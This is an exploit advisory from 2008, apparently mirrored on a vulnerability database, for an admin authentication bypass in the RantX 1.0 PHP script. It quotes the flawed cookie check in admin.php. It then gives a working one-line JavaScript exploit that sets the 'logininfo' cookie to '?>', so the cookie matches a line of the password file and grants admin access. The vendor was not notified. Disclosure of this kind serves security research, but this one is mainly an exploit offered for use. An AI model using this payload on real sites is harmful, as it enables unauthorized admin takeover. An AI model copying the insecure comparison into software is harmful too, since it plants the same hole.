RantX 1.0 Insecure Admin Authentication Vulnerability

🗓️ 17 May 2008 00:00:00Reported by RootType
RantX 1.0 has insecure admin authentication code, allowing unauthorized access

                                                --==+================================================================================+==--
--==+		&nbsp;&nbsp;RantX&nbsp;1.0&nbsp;Insecure&nbsp;Admin&nbsp;Authentication&nbsp;Vulnerability	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--



Discovered&nbsp;By:&nbsp;t0pP8uZz
Discovered&nbsp;On:&nbsp;14&nbsp;MAY&nbsp;2008
Script&nbsp;Download:&nbsp;http://roticv.rantx.com/rantx.zip
DORK:&nbsp;N/A



Vendor&nbsp;Has&nbsp;Not&nbsp;Been&nbsp;Notified!



DESCRIPTION:&nbsp;

RantX&nbsp;suffers&nbsp;from&nbsp;a&nbsp;insecure&nbsp;admin&nbsp;authentication&nbsp;peice&nbsp;of&nbsp;code,&nbsp;the&nbsp;code&nbsp;is&nbsp;below.&nbsp;(in&nbsp;middle&nbsp;of&nbsp;admin.php)

CODE:

if&nbsp;($_COOKIE[&quot;logininfo&quot;]&nbsp;==&nbsp;NULL){
	LoginPage();
	exit(-1);
}
$storedformat&nbsp;=&nbsp;$_COOKIE[&quot;logininfo&quot;];
$filehandle&nbsp;=&nbsp;fopen($passwordfile,&nbsp;&quot;r&quot;);
$contents&nbsp;=&nbsp;fread&nbsp;($filehandle,&nbsp;filesize&nbsp;($passwordfile));
fclose&nbsp;($filehandle);
$array2&nbsp;=&nbsp;explode(&quot;\n&quot;,&nbsp;$contents);
foreach&nbsp;($array2&nbsp;as&nbsp;$values){
	if&nbsp;(strcmp($values,&nbsp;$storedformat)&nbsp;==&nbsp;0){
		$passwordvalid&nbsp;=&nbsp;true;
	}
}

__EOF__

ok&nbsp;as&nbsp;we&nbsp;can&nbsp;see,&nbsp;the&nbsp;first&nbsp;thing&nbsp;is&nbsp;that&nbsp;the&nbsp;script&nbsp;checks&nbsp;to&nbsp;see&nbsp;if&nbsp;the&nbsp;cookie&nbsp;&quot;logininfo&quot;&nbsp;exists,
we&nbsp;can&nbsp;simply&nbsp;craft&nbsp;a&nbsp;cookie&nbsp;with&nbsp;javascript&nbsp;to&nbsp;bypass&nbsp;this&nbsp;part,&nbsp;or&nbsp;form&nbsp;a&nbsp;legit&nbsp;login&nbsp;request.

next&nbsp;the&nbsp;password&nbsp;file&nbsp;is&nbsp;opened,&nbsp;then&nbsp;the&nbsp;lines&nbsp;are&nbsp;split&nbsp;into&nbsp;an&nbsp;array,&nbsp;then&nbsp;they&nbsp;are&nbsp;looped&nbsp;thru,&nbsp;if&nbsp;the
line&nbsp;matches&nbsp;the&nbsp;cookie&nbsp;then&nbsp;authentication&nbsp;to&nbsp;admin&nbsp;is&nbsp;GIVEN&nbsp;(TRUE).

if&nbsp;you&nbsp;check&nbsp;the&nbsp;password.php&nbsp;source,&nbsp;you&nbsp;can&nbsp;see&nbsp;it&nbsp;contains&nbsp;the&nbsp;php&nbsp;tags,&nbsp;of&nbsp;course.&nbsp;(&lt;?php/?&gt;)
so&nbsp;what&nbsp;if&nbsp;we&nbsp;give&nbsp;the&nbsp;cookie&nbsp;a&nbsp;value&nbsp;of&nbsp;&quot;&lt;?php&quot;&nbsp;or&nbsp;&quot;?&gt;&quot;&nbsp;then&nbsp;when&nbsp;the&nbsp;cookie&nbsp;is&nbsp;checked&nbsp;against&nbsp;the&nbsp;password
file,&nbsp;one&nbsp;line&nbsp;will&nbsp;return&nbsp;TRUE&nbsp;which&nbsp;will&nbsp;give&nbsp;us&nbsp;admin,&nbsp;as&nbsp;strcmp()&nbsp;compares&nbsp;a&nbsp;string,&nbsp;and&nbsp;since
the&nbsp;password.php&nbsp;file&nbsp;contains&nbsp;&quot;?&gt;&quot;&nbsp;and&nbsp;our&nbsp;cookie&nbsp;will&nbsp;contain&nbsp;&quot;?&gt;&quot;&nbsp;we&nbsp;will&nbsp;get&nbsp;access.

the&nbsp;below&nbsp;javascript&nbsp;code&nbsp;will&nbsp;exploit&nbsp;this&nbsp;bug.



Exploit:

javascript:document.cookie&nbsp;=&nbsp;&quot;logininfo=?&gt;;&nbsp;path=/&quot;;



NOTE/TIP:&nbsp;

after&nbsp;running&nbsp;the&nbsp;above&nbsp;javascript&nbsp;code&nbsp;in&nbsp;your&nbsp;browser&nbsp;(preferbly&nbsp;firefox/netscape),&nbsp;vist&nbsp;&quot;Admin.php&quot;

this&nbsp;should&nbsp;come&nbsp;to&nbsp;your&nbsp;attention&nbsp;how&nbsp;many&nbsp;web-developers&nbsp;are&nbsp;very&nbsp;bad&nbsp;coders.&nbsp;and&nbsp;leave&nbsp;massive
easy-to-fix&nbsp;holes&nbsp;like&nbsp;this&nbsp;in&nbsp;there&nbsp;scripts.

just&nbsp;remember&nbsp;when&nbsp;downloading&nbsp;a&nbsp;file&nbsp;of&nbsp;any&nbsp;kind&nbsp;to&nbsp;read&nbsp;through&nbsp;its&nbsp;source,&nbsp;and&nbsp;make&nbsp;sure&nbsp;its&nbsp;secure



GREETZ:&nbsp;milw0rm.com,&nbsp;h4ck-y0u.org,&nbsp;CipherCrew&nbsp;!



peace,&nbsp;t0pP8uZz



--==+================================================================================+==--
--==+		&nbsp;&nbsp;RantX&nbsp;1.0&nbsp;Insecure&nbsp;Admin&nbsp;Authentication&nbsp;Vulnerability	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--
17 May 2008 00:00Current
7.1High risk
Vulners AI Score7.1